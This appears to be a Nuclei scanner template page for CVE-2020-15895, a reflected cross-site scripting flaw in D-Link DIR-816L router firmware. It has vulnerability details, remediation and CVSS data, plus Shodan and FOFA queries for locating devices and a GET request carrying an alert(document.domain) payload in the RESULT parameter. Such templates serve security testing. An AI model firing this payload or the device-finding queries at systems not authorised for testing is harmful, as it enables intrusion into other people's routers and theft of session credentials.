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D-Link DIR-816L 2.x - Cross-Site Scripting

ID: CVE-2020-15895

Severity: medium

Author: edoardottt

Tags: cve2020,cve,dlink,xss

D-Link DIR-816L devices 2.x before 1.10b04Beta02 contains a cross-site scripting vulnerability. In the file webinc/js/info.php, no output filtration is applied to the RESULT parameter before being printed on the webpage. An attacker can inject arbitrary script in the browser of an unsuspecting user in the context of the affected site, which can allow for theft of cookie-based authentication credentials and launch of other attacks.

id: CVE-2020-15895
info:
name: D-Link DIR-816L 2.x - Cross-Site Scripting
author: edoardottt
severity: medium
description: |
D-Link DIR-816L devices 2.x before 1.10b04Beta02 contains a cross-site scripting vulnerability. In the file webinc/js/info.php, no output filtration is applied to the RESULT parameter before being printed on the webpage. An attacker can inject arbitrary script in the browser of an unsuspecting user in the context of the affected site, which can allow for theft of cookie-based authentication credentials and launch of other attacks.
impact: |
Successful exploitation of this vulnerability could allow an attacker to execute arbitrary script code in the context of a victim's browser, potentially leading to session hijacking, defacement, or theft of sensitive information.
remediation: |
Apply the latest firmware update provided by D-Link to mitigate this vulnerability.
reference:
- https://research.loginsoft.com/bugs/multiple-vulnerabilities-discovered-in-the-d-link-firmware-dir-816l/
- https://supportannouncement.us.dlink.com/announcement/publication.aspx?name=SAP10169
- https://nvd.nist.gov/vuln/detail/CVE-2020-15895
- https://github.com/ARPSyndicate/kenzer-templates
classification:
cvss-metrics: CVSS:3.1/AV:N/AC:L/PR:N/UI:R/S:C/C:L/I:L/A:N
cvss-score: 6.1
cve-id: CVE-2020-15895
cwe-id: CWE-79
epss-score: 0.00187
epss-percentile: 0.55848
cpe: cpe:2.3:o:dlink:dir-816l_firmware:2.06:*:*:*:*:*:*:*
metadata:
max-request: 1
vendor: dlink
product: dir-816l_firmware
shodan-query:
- html:"DIR-816L"
- http.html:"dir-816l"
fofa-query: body="dir-816l"
tags: cve2020,cve,dlink,xss
http:
- method: GET
path:
- "{{BaseURL}}/info.php?RESULT=\",msgArray);alert(document.domain);//"
matchers-condition: and
matchers:
- type: word
part: body
words:
- ";alert(document.domain);"
- "DIR-816L"
condition: and
- type: word
part: header
words:
- "text/html"
- type: status
status:
- 200
# digest: 490a0046304402200e1351d43b1f98981d146a8b05269ebdbc48a68eb9a8813a0303e6d588ca7d0902207d58521d5eeaf787e7411f044f41411f9c9a2a5bf06ea40eb6186d82429505be:922c64590222798bb761d5b6d8e72950

This template is used to detect vulnerabilities in web applications. It can be used with the Nuclei tool to scan for specific patterns or behaviors.

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$ nuclei -u "URL" -t "http/cves/2020/CVE-2020-15895.yaml"

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